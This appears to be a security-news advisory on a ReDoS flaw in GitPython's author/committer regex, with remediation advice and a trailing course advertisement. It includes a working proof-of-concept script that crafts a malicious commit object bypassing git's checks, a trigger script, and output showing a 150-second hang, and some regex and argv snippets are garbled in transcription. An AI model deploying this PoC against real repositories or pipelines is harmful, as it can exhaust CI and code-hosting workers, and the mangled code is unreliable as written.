Listen to this Post
GitPython’s `Actor.name_email_regex` regular expression in `git/util.py` (line 863) is vulnerable to catastrophic backtracking, a form of Regular Expression Denial of Service (ReDoS). The regex pattern `r”(.) <(.?)>“` is evaluated inside `Actor._from_string()` every time GitPython resolves a commit’s `.author` or `.committer` property. When a crafted git commit object contains an author field with a long string and an unterminated `<` character (no matching >), the Python regex engine enters quadratic backtracking. The unbounded greedy group `(.)` followed by a literal space and `<` forces the engine to try every possible split position for a string of length n, resulting in O(n²) time complexity. Empirically, a 200,000-byte author field causes a single `.author` access to hang for approximately 150 seconds. The call chain is triggered by any GitPython API call that reads commit metadata, including commit.author, commit.committer, repo.iter_commits(), and repo.blame(). A single crafted commit object can block CI runners, code-hosting backends, repository-scanning pipelines, or any service processing commits from untrusted repositories. The vulnerability is classified under CWE-400 (Uncontrolled Resource Consumption) and CWE-1333 (Inefficient Regular Expression Complexity). Git itself imposes no practical size limit on author name fields, and delivery paths that bypass git’s write-side sanity checks include servers with receive.fsckObjects = false, `.git` directories shipped as archives, git bundle files, and automated mirroring tools operating at the object level. The fix is to replace the vulnerable pattern with one that excludes `<` and `>` from the name group, failing in O(n) time instead of O(n²) when a closing bracket is absent.
DailyCVE Form:
Platform: GitPython
Version: 3.1.59
Vulnerability: ReDoS
Severity: High
date: 2026-09-09
Prediction: 2026-09-10
What Undercode Say:
pip install GitPython==3.1.59 git clone https://github.com/gitpython-developers/GitPython.git cd GitPython pip install -e .
craft_malicious_repo.py import hashlib, os, subprocess, sys, zlib def run(cmd, cwd): return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True) def main(): target_dir, payload_size = sys.argv[bash], int(sys.argv[bash]) os.makedirs(target_dir, exist_ok=True) run(["git", "init", "--quiet"], cwd=target_dir) run(["git", "config", "user.email", "[email protected]"], cwd=target_dir) run(["git", "config", "user.name", "PoC"], cwd=target_dir) with open(os.path.join(target_dir, "README.txt"), "w") as f: f.write("GitPython ReDoS PoC repository\n") run(["git", "add", "README.txt"], cwd=target_dir) tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip() malicious_name = "A" payload_size author_line = f"author {malicious_name} <unterminated 1691999972 -0700" committer_line = "committer PoC <[email protected]> 1691999972 -0700" message = "ReDoS PoC commit" commit_content = ( f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n" ).encode() header = f"commit {len(commit_content)}\x00".encode() store = header + commit_content sha = hashlib.sha1(store).hexdigest() compressed = zlib.compress(store) objdir = os.path.join(target_dir, ".git", "objects", sha[:2]) os.makedirs(objdir, exist_ok=True) with open(os.path.join(objdir, sha[2:]), "wb") as f: f.write(compressed) run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir) print(f"Malicious commit sha : {sha}") if <strong>name</strong> == "<strong>main</strong>": main()
trigger_redos.py
import sys, time, git
repo = git.Repo(sys.argv[bash])
commit = repo.commit(sys.argv[bash])
print("Accessing commit.author — triggers Actor._from_string()...")
t0 = time.time()
author = commit.author
elapsed = time.time() - t0
print(f"Author name length : {len(author.name)} chars")
print(f"Elapsed : {elapsed:.3f} seconds")
print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")
$ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de $ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE
Exploit: (Educational Purposes!)
The exploit requires no authentication. An attacker creates a git commit object with an author field containing a long string (e.g., 200,000 bytes of “A” characters) followed by an unterminated `<` character. The raw object is written directly into `.git/objects/` bypassing git's write-side sanity checks. When a victim application using GitPython accesses `.author` or `.committer` on that commit, or iterates commits via `repo.iter_commits()` or repo.blame(), the regex engine enters quadratic backtracking. The delivery vector is any mechanism that introduces the crafted commit into a repository the victim processes: a pull request from a fork, a malicious `.git` directory shipped as a tarball, a git bundle, or an automated mirroring tool. A single 200 KB author field blocks a single-threaded process for approximately 150 seconds per `.author` access. In CI/CD pipelines that process multiple commits or concurrent pull requests, this leads to worker exhaustion and cascading service unavailability. There is no confidentiality or integrity impact; the vulnerability is purely an availability and resource-exhaustion issue.
Protection: from this CVE
Upgrade GitPython to version 3.1.60 or later. The fixed version replaces the vulnerable pattern `r”(.) <(.?)>“` with r"([^<>]) <([^<>])>", which excludes `<` and `>` from the name group and fails in O(n) time instead of O(n²) when a closing bracket is absent. As defense in depth, bound the maximum number of characters GitPython will parse in an author or committer line by rejecting strings longer than 4096 bytes before passing them to any regex. Restrict repository ingestion and webhook access where business workflows allow. Apply CPU, memory, and execution-time limits to parsing workers with isolation from core build infrastructure. Monitor for unusually high CPU usage spikes correlated with git operations as an early detection mechanism for active exploitation attempts.
Impact:
Any application that uses GitPython to parse commits from a source it does not fully control is affected. High-risk deployments include CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners) that clone and inspect third-party pull requests; code-hosting or code-review web services that render commit author information; and security or compliance scanners that walk repository history across many repositories. A single crafted commit object can stall every worker that processes it. When `iter_commits()` or `blame()` are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. The CVSS 3.1 base score is 7.5 (High) with vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. There is no confidentiality or integrity impact; this is a pure availability and resource-exhaustion vulnerability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

